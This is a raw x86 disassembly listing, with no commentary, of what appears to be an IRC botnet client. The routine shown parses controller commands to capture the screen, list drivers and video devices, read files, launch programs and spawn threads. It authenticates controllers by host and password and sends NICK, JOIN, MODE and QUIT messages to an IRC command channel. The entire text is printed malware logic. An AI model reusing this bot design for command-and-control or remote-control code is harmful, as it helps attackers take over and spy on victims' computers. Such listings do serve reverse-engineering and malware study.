push [ebp+arg_4]
call sub_409A2D
push offset dword_42A40C
call sub_4151AD
jmp loc_403520
; ---------------------------------------------------------------------------
loc_408BEB: ; CODE XREF: sub_401ACD+48A4j
; sub_401ACD+48BBj
cmp [ebp+var_C], ebx
jz loc_409855
push [ebp+arg_10]
call sub_41AFE0
push [ebp+arg_8]
mov esi, eax
call sub_41AFE0
add eax, [ebp+var_C]
push edi
lea eax, [eax+esi+2]
push eax
call sub_41B900
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409855
push esi
lea eax, [ebp+var_2C4]
push offset dword_42AB40
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push ebx
push eax
push [ebp+arg_10]
push [ebp+arg_4]
call sub_409A73
add esp, 20h
push esi
push [ebp+arg_10]
push offset unk_42A3F0
jmp loc_408A4C
; ---------------------------------------------------------------------------
loc_408C58: ; CODE XREF: sub_401ACD+4876j
; sub_401ACD+488Dj
cmp [ebp+var_C], ebx
jz loc_409855
push [ebp+arg_10]
call sub_41AFE0
push [ebp+arg_8]
mov esi, eax
call sub_41AFE0
add eax, [ebp+var_C]
push edi
lea eax, [eax+esi+2]
push eax
call sub_41B900
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409855
push ebx
push ebx
push esi
push [ebp+arg_10]
push [ebp+arg_4]
call sub_409A73
add esp, 14h
push esi
push [ebp+arg_10]
push offset unk_42A3D0
jmp loc_408A4C
; ---------------------------------------------------------------------------
loc_408CAD: ; CODE XREF: sub_401ACD+4848j
; sub_401ACD+485Fj
cmp [ebp+var_C], ebx
jz loc_401E94
push edi
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz loc_401E94
push eax
push [ebp+arg_10]
call sub_4150B5
pop ecx
pop ecx
push [ebp+arg_10]
push offset unk_42A3B0
loc_408CDC: ; CODE XREF: sub_401ACD+5853j
; sub_401ACD+7B2Bj
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
jmp loc_409610
; ---------------------------------------------------------------------------
loc_408CF0: ; CODE XREF: sub_401ACD+481Aj
; sub_401ACD+4831j
push edi
push [ebp+arg_10]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4184E2
jmp loc_4040FD
; ---------------------------------------------------------------------------
loc_408D0A: ; CODE XREF: sub_401ACD+47DCj
; sub_401ACD+47F1j
push [ebp+arg_10]
push [ebp+arg_1C]
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz loc_409855
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jz loc_408DB2
push esi
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_408D9A
push esi
lea eax, [ebp+var_2C4]
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_42A604
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41B5F0
add esp, 24h
lea eax, [ebp+var_2C4]
push esi
push [ebp+arg_10]
push offset unk_42A388
push eax
call sub_41B886
add esp, 10h
inc [ebp+arg_24]
jmp loc_40877B
; ---------------------------------------------------------------------------
loc_408D9A: ; CODE XREF: sub_401ACD+7270j
lea eax, [ebp+var_2C4]
push offset unk_42A358
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_40877B
; ---------------------------------------------------------------------------
loc_408DB2: ; CODE XREF: sub_401ACD+725Bj
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41ACF7
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 14h
lea eax, [ebp+var_2C4]
push [ebp+arg_10]
push offset dword_42A33C
push 200h
push eax
call sub_41B980
add esp, 10h
jmp loc_40877B
; ---------------------------------------------------------------------------
loc_408DFE: ; CODE XREF: sub_401ACD+47B2j
; sub_401ACD+47C7j
push offset aScreen ; "screen"
push [ebp+arg_10]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_408E59
mov edi, [ebp+esi+var_88]
cmp edi, ebx
jz short loc_408E46
push edi
call sub_4153BD
cmp eax, 1
pop ecx
jnz short loc_408E3F
push edi
lea eax, [ebp+var_2C4]
push offset unk_42A308
push eax
call sub_41B886
add esp, 0Ch
jmp short loc_408E59
; ---------------------------------------------------------------------------
loc_408E3F: ; CODE XREF: sub_401ACD+7359j
push offset unk_42A2D8
jmp short loc_408E4B
; ---------------------------------------------------------------------------
loc_408E46: ; CODE XREF: sub_401ACD+734Dj
push offset unk_42A29C
loc_408E4B: ; CODE XREF: sub_401ACD+7377j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
loc_408E59: ; CODE XREF: sub_401ACD+7342j
; sub_401ACD+7370j
push offset aDrivers ; "drivers"
push [ebp+arg_10]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_408EE6
xor edi, edi
loc_408E6E: ; CODE XREF: sub_401ACD+7404j
lea eax, [ebp+var_53F8]
push 1FFh
push eax
lea eax, [ebp+var_4EF0]
push 0FFh
push eax
push edi
call dword_4CB684
test eax, eax
jz short loc_408ECD
lea eax, [ebp+var_53F8]
push eax
lea eax, [ebp+var_4EF0]
push eax
push edi
lea eax, [ebp+var_5D88]
push offset unk_42A26C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_5D88]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 28h
loc_408ECD: ; CODE XREF: sub_401ACD+73C2j
inc edi
cmp edi, 0Ah
jl short loc_408E6E
lea eax, [ebp+var_2C4]
push offset unk_42A244
push eax
call sub_41B886
pop ecx
pop ecx
loc_408EE6: ; CODE XREF: sub_401ACD+739Dj
push offset aFrame ; "frame"
push [ebp+arg_10]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_408F87
cmp [ebp+esi+var_88], ebx
jz short loc_408F74
cmp [ebp+esi+var_84], ebx
jz short loc_408F74
mov edi, [ebp+esi+var_80]
cmp edi, ebx
jz short loc_408F74
mov eax, [ebp+esi+var_7C]
cmp eax, ebx
jz short loc_408F74
push eax
call sub_41B779
pop ecx
push eax
push edi
call sub_41B779
pop ecx
push eax
push [ebp+esi+var_84]
call sub_41B779
pop ecx
push eax
push [ebp+esi+var_88]
call sub_4155F8
add esp, 10h
test eax, eax
jnz short loc_408F6D
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset unk_42A210
push eax
call sub_41B886
add esp, 0Ch
jmp short loc_408F87
; ---------------------------------------------------------------------------
loc_408F6D: ; CODE XREF: sub_401ACD+7481j
push offset unk_42A1DC
jmp short loc_408F79
; ---------------------------------------------------------------------------
loc_408F74: ; CODE XREF: sub_401ACD+7437j
; sub_401ACD+7440j ...
push offset unk_42A1A4
loc_408F79: ; CODE XREF: sub_401ACD+74A5j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
loc_408F87: ; CODE XREF: sub_401ACD+742Aj
; sub_401ACD+749Ej
push offset aVideo ; "video"
push [ebp+arg_10]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40875A
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+arg_1C], eax
jz short loc_40901F
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_0], eax
jz short loc_40901F
mov eax, [ebp+esi+var_80]
cmp eax, ebx
mov [ebp+arg_18], eax
jz short loc_40901F
mov edi, [ebp+esi+var_7C]
cmp edi, ebx
jz short loc_40901F
mov esi, [ebp+esi+var_78]
cmp esi, ebx
jz short loc_40901F
push esi
call sub_41B779
pop ecx
push eax
push edi
call sub_41B779
pop ecx
push eax
push [ebp+arg_18]
call sub_41B779
pop ecx
push eax
push [ebp+arg_0]
call sub_41B779
pop ecx
push eax
push [ebp+arg_1C]
call sub_4157F1
add esp, 14h
test eax, eax
jnz short loc_409015
push [ebp+arg_1C]
push offset unk_42A170
jmp loc_40874B
; ---------------------------------------------------------------------------
loc_409015: ; CODE XREF: sub_401ACD+7539j
push offset unk_42A130
jmp loc_4090E3
; ---------------------------------------------------------------------------
loc_40901F: ; CODE XREF: sub_401ACD+74DDj
; sub_401ACD+74EBj ...
push offset unk_42A0F0
jmp loc_4090E3
; ---------------------------------------------------------------------------
loc_409029: ; CODE XREF: sub_401ACD+4042j
; sub_401ACD+4057j
push offset aR ; "r"
push [ebp+arg_10]
call sub_41B4C2
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz short loc_409099
mov esi, 200h
push edi
lea eax, [ebp+var_2C4]
push esi
push eax
call sub_41BB4F
add esp, 0Ch
loc_409054: ; CODE XREF: sub_401ACD+75B6j
test eax, eax
jz short loc_409085
push 1
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
push edi
lea eax, [ebp+var_2C4]
push esi
push eax
call sub_41BB4F
add esp, 20h
jmp short loc_409054
; ---------------------------------------------------------------------------
loc_409085: ; CODE XREF: sub_401ACD+7589j
push edi
call sub_41B05B
pop ecx
push [ebp+arg_10]
push offset unk_42A0CC
jmp loc_409227
; ---------------------------------------------------------------------------
loc_409099: ; CODE XREF: sub_401ACD+756Fj
push [ebp+arg_10]
push offset unk_42A0A8
jmp loc_406CD0
; ---------------------------------------------------------------------------
loc_4090A6: ; CODE XREF: sub_401ACD+4018j
; sub_401ACD+402Dj
cmp [ebp+var_C], ebx
jz loc_409855
push [ebp+arg_10]
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409855
push offset asc_42A0A4 ; "\n"
push esi
call sub_41BEC0
push esi
call sub_419A51
add esp, 0Ch
test eax, eax
jnz short loc_4090F6
push offset unk_42A078
loc_4090E3: ; CODE XREF: sub_401ACD+754Dj
; sub_401ACD+7557j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_40875A
; ---------------------------------------------------------------------------
loc_4090F6: ; CODE XREF: sub_401ACD+760Fj
push esi
lea eax, [ebp+var_2C4]
push offset dword_42A060
push eax
call sub_41B886
add esp, 0Ch
jmp loc_40877B
; ---------------------------------------------------------------------------
loc_409110: ; CODE XREF: sub_401ACD+3FEEj
; sub_401ACD+4003j
cmp [ebp+var_C], ebx
jz loc_409855
push [ebp+arg_10]
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz loc_409855
push eax
call sub_418212
test eax, eax
pop ecx
jnz short loc_409140
push offset unk_42A040
jmp short loc_4090E3
; ---------------------------------------------------------------------------
loc_409140: ; CODE XREF: sub_401ACD+766Aj
push offset dword_42A024
jmp short loc_4090E3
; ---------------------------------------------------------------------------
loc_409147: ; CODE XREF: sub_401ACD+3FC4j
; sub_401ACD+3FD9j
push 7Fh
lea eax, [ebp+var_2080]
push [ebp+arg_10]
push eax
call sub_41B5F0
mov esi, [ebp+esi+var_88]
add esp, 0Ch
cmp esi, ebx
jz short loc_409178
push 7Fh
lea eax, [ebp+var_2000]
push esi
push eax
call sub_41B5F0
add esp, 0Ch
loc_409178: ; CODE XREF: sub_401ACD+7697j
push 7Fh
lea eax, [ebp+var_1F80]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_2084], eax
mov eax, [ebp+var_8]
push [ebp+arg_10]
mov [ebp+var_1EFC], eax
mov eax, [ebp+var_4]
mov [ebp+var_1EF8], eax
lea eax, [ebp+var_2C4]
push offset dword_42A00C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 1Ch
push eax
call sub_40B0F7
add esp, 18h
mov [ebp+var_1F00], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2084]
push ebx
push eax
push offset sub_41ADB6
push ebx
push ebx
nop
call near ptr 26B0000h
mov ecx, [ebp+var_1F00]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40921B
loc_409205: ; CODE XREF: sub_401ACD+774Cj
cmp [ebp+var_1EF4], ebx
jnz loc_406D00
push 32h
nop
call near ptr 26A0F44h
jmp short loc_409205
; ---------------------------------------------------------------------------
loc_40921B: ; CODE XREF: sub_401ACD+7736j
nop
call near ptr 26B0857h
push eax
push offset unk_429FCC
loc_409227: ; CODE XREF: sub_401ACD+29CFj
; sub_401ACD+75C7j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
jmp loc_406D00
; ---------------------------------------------------------------------------
loc_40923B: ; CODE XREF: sub_401ACD+3F9Aj
; sub_401ACD+3FAFj
push ebx
push [ebp+var_88]
push [ebp+arg_4]
push [ebp+arg_10]
call sub_40F96B
add esp, 10h
push [ebp+arg_10]
push offset dword_429FB4
jmp loc_40984E
; ---------------------------------------------------------------------------
loc_40925D: ; CODE XREF: sub_401ACD+3F70j
; sub_401ACD+3F85j
push 14h
lea eax, [ebp+var_1D48]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_1D34]
push [ebp+arg_10]
push offset aS_1 ; "%s"
push eax
call sub_41B886
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_1D50], eax
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_1C30]
push 80h
push eax
call sub_41B980
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1BA8], eax
mov eax, [ebp+var_8]
mov [ebp+var_1BA4], eax
lea eax, [ebp+var_1C30]
push eax
lea eax, [ebp+var_1D34]
push eax
lea eax, [ebp+var_2C4]
push offset unk_429F90
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 1Ah
push eax
call sub_40B0F7
add esp, 1Ch
mov [ebp+var_1BAC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1D50]
push ebx
push eax
push offset loc_415E1B
push ebx
push ebx
call near ptr 26B0000h
nop
mov ecx, [ebp+var_1BAC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz loc_4023E6
loc_409326: ; CODE XREF: sub_401ACD+786Dj
cmp [ebp+var_1BA0], ebx
jnz loc_4083BD
push 32h
nop
call near ptr 26A0F44h
jmp short loc_409326
; ---------------------------------------------------------------------------
loc_40933C: ; CODE XREF: sub_401ACD+3F46j
; sub_401ACD+3F5Bj
push [ebp+arg_10]
call near ptr 26B017Ah
nop
test eax, eax
jz short loc_409367
push [ebp+arg_10]
lea eax, [ebp+var_2C4]
push offset dword_429F74
push 200h
push eax
call sub_41B980
jmp loc_409445
; ---------------------------------------------------------------------------
loc_409367: ; CODE XREF: sub_401ACD+787Aj
push offset dword_42A77C
call sub_41814D
pop ecx
push eax
jmp loc_403F48
; ---------------------------------------------------------------------------
loc_409378: ; CODE XREF: sub_401ACD+3F1Cj
; sub_401ACD+3F31j
push [ebp+arg_10]
call sub_41B779
push eax
call sub_4199CA
pop ecx
pop ecx
push 1
pop esi
push [ebp+arg_10]
cmp eax, esi
jnz short loc_409399
push offset unk_429F50
jmp short loc_40939E
; ---------------------------------------------------------------------------
loc_409399: ; CODE XREF: sub_401ACD+78C3j
push offset unk_429F20
loc_40939E: ; CODE XREF: sub_401ACD+78CAj
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_406D03
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 14h
jmp loc_406D03
; ---------------------------------------------------------------------------
loc_4093D7: ; CODE XREF: sub_401ACD+3EF2j
; sub_401ACD+3F07j
push ebx
push ebx
push [ebp+arg_10]
push [ebp+var_4]
push ebx
push [ebp+arg_4]
call sub_4196BD
add esp, 18h
cmp eax, 1
push [ebp+arg_10]
jnz short loc_4093FD
push offset unk_429F00
jmp loc_406CD0
; ---------------------------------------------------------------------------
loc_4093FD: ; CODE XREF: sub_401ACD+7924j
push offset unk_429ED0
jmp loc_406CD0
; ---------------------------------------------------------------------------
loc_409407: ; CODE XREF: sub_401ACD+3EC8j
; sub_401ACD+3EDDj
mov esi, [ebp+arg_10]
push esi
call dword_4CB694
cmp eax, 0FFFFFFFFh
mov [ebp+var_2D8], eax
jz short loc_40944D
push 2
lea eax, [ebp+var_2D8]
push 4
push eax
call dword_4CB60C
cmp eax, ebx
jz short loc_409468
push dword ptr [eax]
loc_409433: ; CODE XREF: sub_401ACD+7999j
push esi
lea eax, [ebp+var_2C4]
push offset unk_429EB0
push eax
call sub_41B886
loc_409445: ; CODE XREF: sub_401ACD+7895j
add esp, 10h
jmp loc_406CDF
; ---------------------------------------------------------------------------
loc_40944D: ; CODE XREF: sub_401ACD+794Dj
push esi
call dword_4CB6D8
cmp eax, ebx
jz short loc_409468
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_4CB6E0
push eax
jmp short loc_409433
; ---------------------------------------------------------------------------
loc_409468: ; CODE XREF: sub_401ACD+7962j
; sub_401ACD+7989j
push offset unk_429E88
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_409472: ; CODE XREF: sub_401ACD+3E9Ej
; sub_401ACD+3EB3j
push 7Fh
push [ebp+arg_10]
push [ebp+arg_14]
call sub_41B5F0
add esp, 0Ch
push [ebp+arg_10]
push offset unk_429E60
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_40948F: ; CODE XREF: sub_401ACD+3E74j
; sub_401ACD+3E89j
push 5
push ebx
push ebx
push [ebp+arg_10]
push offset aOpen ; "open"
push ebx
call dword_4CB5C0
push [ebp+arg_10]
test eax, eax
jz short loc_4094B3
push offset unk_429E40
jmp loc_406CD0
; ---------------------------------------------------------------------------
loc_4094B3: ; CODE XREF: sub_401ACD+79DAj
push offset unk_429E1C
jmp loc_406CD0
; ---------------------------------------------------------------------------
loc_4094BD: ; CODE XREF: sub_401ACD+3E4Aj
; sub_401ACD+3E5Fj
mov eax, [ebp+arg_10]
mov cl, [eax]
mov byte_429094, cl
movsx eax, byte ptr [eax]
push eax
push offset unk_429DF4
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_4094D6: ; CODE XREF: sub_401ACD+3E20j
; sub_401ACD+3E35j
push [ebp+arg_10]
call sub_41B779
test eax, eax
pop ecx
jle loc_409855
push [ebp+arg_10]
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409855
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40B08E
add esp, 10h
push eax
lea eax, [ebp+var_2C4]
push offset dword_42BB5C
push eax
call sub_41B886
add esp, 0Ch
jmp loc_408995
; ---------------------------------------------------------------------------
loc_409528: ; CODE XREF: sub_401ACD+3DF6j
; sub_401ACD+3E0Bj
mov esi, [ebp+arg_10]
push esi
call sub_41B779
test eax, eax
pop ecx
jle loc_401E94
push esi
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_401E94
push offset aQuitLater ; "QUIT :later\r\n"
push esi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43E59C[eax]
call sub_409A2D
pop ecx
pop ecx
push 1F4h
nop
call near ptr 26A0F44h
push esi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43E59C[eax]
call dword_4CB6EC
push [ebp+var_10]
push esi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43E5A4[eax]
call near ptr 26C06DDh
nop
push esi
call sub_41B779
imul eax, 234h
push esi
mov dword_43E5A4[eax], ebx
call sub_41B779
imul eax, 234h
pop ecx
pop ecx
mov byte ptr dword_43E390[eax], bl
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_4095D6: ; CODE XREF: sub_401ACD+3DCCj
; sub_401ACD+3DE1j
push [ebp+arg_10]
push offset aAll ; "all"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_409642
call sub_40B2C0
cmp eax, ebx
jle short loc_4095FD
push eax
push offset unk_429DC8
jmp loc_408CDC
; ---------------------------------------------------------------------------
loc_4095FD: ; CODE XREF: sub_401ACD+7B23j
push offset unk_429DA0
loc_409602: ; CODE XREF: sub_401ACD+24FAj
; sub_401ACD+2519j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
loc_409610: ; CODE XREF: sub_401ACD+721Ej
cmp [ebp+var_8], ebx
jnz short loc_409631
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_409629: ; CODE XREF: sub_401ACD+6DB5j
call sub_409A73
add esp, 14h
loc_409631: ; CODE XREF: sub_401ACD+26F7j
; sub_401ACD+2722j ...
lea eax, [ebp+var_2C4]
push eax
call sub_4151AD
jmp loc_40207D
; ---------------------------------------------------------------------------
loc_409642: ; CODE XREF: sub_401ACD+7B1Aj
mov eax, [ebp+var_AC]
lea edi, [eax+1]
cmp edi, 20h
jnb loc_401E94
lea eax, [ebp+edi*4+var_90]
mov [ebp+arg_24], eax
loc_40965E: ; CODE XREF: sub_401ACD+7C02j
mov eax, [ebp+arg_24]
mov esi, [eax]
cmp esi, ebx
jz loc_401E94
push esi
call sub_41B779
push eax
call sub_40B232
pop ecx
pop ecx
test eax, eax
push esi
jz short loc_409685
push offset unk_429D7C
jmp short loc_40968A
; ---------------------------------------------------------------------------
loc_409685: ; CODE XREF: sub_401ACD+7BAFj
push offset unk_429D50
loc_40968A: ; CODE XREF: sub_401ACD+7BB6j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4096BA
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 14h
loc_4096BA: ; CODE XREF: sub_401ACD+7BCFj
lea eax, [ebp+var_2C4]
push eax
call sub_4151AD
add [ebp+arg_24], 4
inc edi
cmp edi, 20h
pop ecx
jb short loc_40965E
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_4096D6: ; CODE XREF: sub_401ACD+3DA2j
; sub_401ACD+3DB7j
cmp [ebp+var_C], ebx
jz loc_409855
push [ebp+arg_10]
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409855
push esi
push offset dword_42A4BC
push [ebp+arg_4]
call sub_409A2D
add esp, 0Ch
push esi
push offset dword_429D34
jmp loc_40984E
; ---------------------------------------------------------------------------
loc_409712: ; CODE XREF: sub_401ACD+3D78j
; sub_401ACD+3D8Dj
push [ebp+arg_10]
push offset dword_42A420
push [ebp+arg_4]
call sub_409A2D
add esp, 0Ch
push [ebp+arg_10]
push offset unk_429D10
jmp loc_40984E
; ---------------------------------------------------------------------------
loc_409732: ; CODE XREF: sub_401ACD+3D4Ej
; sub_401ACD+3D63j
push [ebp+esi+var_88]
push [ebp+arg_10]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409A2D
add esp, 10h
push [ebp+arg_10]
push offset unk_429CEC
jmp loc_40984E
; ---------------------------------------------------------------------------
loc_409759: ; CODE XREF: sub_401ACD+3D24j
; sub_401ACD+3D39j
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409A2D
add esp, 0Ch
push [ebp+arg_10]
push offset unk_429CC8
jmp loc_40984E
; ---------------------------------------------------------------------------
loc_409779: ; CODE XREF: sub_401ACD+3164j
; sub_401ACD+3179j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409A2D
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push [ebp+arg_10]
push offset unk_429CA4
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_4151AD
push [ebp+arg_10]
call sub_41B779
add esp, 14h
loc_4097B3: ; CODE XREF: sub_401ACD+7D34j
push eax
call near ptr 26A0F44h
nop
loc_4097BA: ; CODE XREF: sub_401ACD+2AA3j
xor eax, eax
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_4097C1: ; CODE XREF: sub_401ACD+313Aj
; sub_401ACD+314Fj
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409A2D
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push [ebp+arg_10]
push offset unk_429C7C
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_4151AD
push [ebp+arg_10]
call sub_41B779
add esp, 14h
imul eax, 3E8h
jmp short loc_4097B3
; ---------------------------------------------------------------------------
loc_409803: ; CODE XREF: sub_401ACD+EC9j
; sub_401ACD+EDEj
push [ebp+esi+var_8C]
xor eax, eax
cmp [ebp+var_8F0], bl
setnz al
push eax
lea eax, [ebp+var_338]
push dword_42909C
push eax
call sub_40B08E
add esp, 10h
lea eax, [ebp+var_338]
push eax
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409A2D
add esp, 0Ch
lea eax, [ebp+var_338]
push eax
push offset unk_429C58
loc_40984E: ; CODE XREF: sub_401ACD+70B5j
; sub_401ACD+778Bj ...
call sub_415221
pop ecx
loc_409854: ; CODE XREF: sub_401ACD+6CBAj
pop ecx
loc_409855: ; CODE XREF: sub_401ACD+659j
; sub_401ACD+665j ...
mov eax, [ebp+arg_24]
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_40985D: ; CODE XREF: sub_401ACD+AB4j
; sub_401ACD+AC9j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_10], esi
jz loc_401E94
cmp [ebp+var_A4], ebx
jnz loc_401E94
push offset asc_42D124 ; "!"
push [ebp+var_90]
call sub_41C0F4
mov esi, eax
push offset dword_4CB50C
push ebx
inc esi
call sub_41C0F4
push offset asc_429C54 ; "~"
push eax
call sub_41C0F4
push [ebp+arg_10]
mov edi, eax
push offset aCool ; "cool"
call sub_41C070
add esp, 20h
test eax, eax
jz short loc_4098FC
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_409A2D
add esp, 14h
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_409A2D
add esp, 0Ch
push edi
push esi
push offset unk_429BD4
jmp loc_40240A
; ---------------------------------------------------------------------------
loc_4098FC: ; CODE XREF: sub_401ACD+7DEBj
mov [ebp+arg_24], offset off_429164
loc_409903: ; CODE XREF: sub_401ACD+7E52j
mov eax, [ebp+arg_24]
push edi
push dword ptr [eax]
call sub_40B450
pop ecx
test eax, eax
pop ecx
jnz short loc_409963
add [ebp+arg_24], 4
cmp [ebp+arg_24], offset off_429168
jb short loc_409903
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_409A2D
add esp, 14h
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_409A2D
add esp, 0Ch
push edi
push esi
push offset unk_429B80
jmp loc_40240A
; ---------------------------------------------------------------------------
loc_409963: ; CODE XREF: sub_401ACD+7E45j
mov edi, [ebp+arg_18]
xor esi, esi
loc_409968: ; CODE XREF: sub_401ACD+7EC5j
cmp [ebp+arg_10], ebx
jz loc_401E94
cmp [edi], bl
jnz short loc_409988
push [ebp+arg_10]
push offset aCool ; "cool"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_409999
loc_409988: ; CODE XREF: sub_401ACD+7EA6j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_409968
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_409999: ; CODE XREF: sub_401ACD+7EB9j
shl esi, 7
add esi, [ebp+arg_18]
lea eax, [ebp+var_E00]
push 7Fh
push eax
push esi
call sub_41B5F0
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4099D0
push ebx
push [ebp+var_4]
push offset unk_429B60
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 14h
loc_4099D0: ; CODE XREF: sub_401ACD+7EE7j
lea eax, [ebp+var_C4]
push eax
push offset unk_429B40
jmp loc_402077
; ---------------------------------------------------------------------------
loc_4099E1: ; CODE XREF: sub_401ACD+20Ej
; sub_401ACD+223j
push [ebp+arg_10]
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+arg_4]
call sub_409A2D
add esp, 0Ch
push offset aXI ; "-x+i"
push [ebp+arg_10]
push offset aModeSS_0 ; "MODE %s %s\r\n"
push [ebp+arg_4]
call sub_409A2D
add esp, 10h
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409A2D
add esp, 10h
mov dword_4CB504, edi
jmp loc_401D6A
sub_401ACD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409A2D proc near ; CODE XREF: sub_401955+3Dp
; sub_401ACD+1CBp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_41C190
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CB6A4
leave
retn
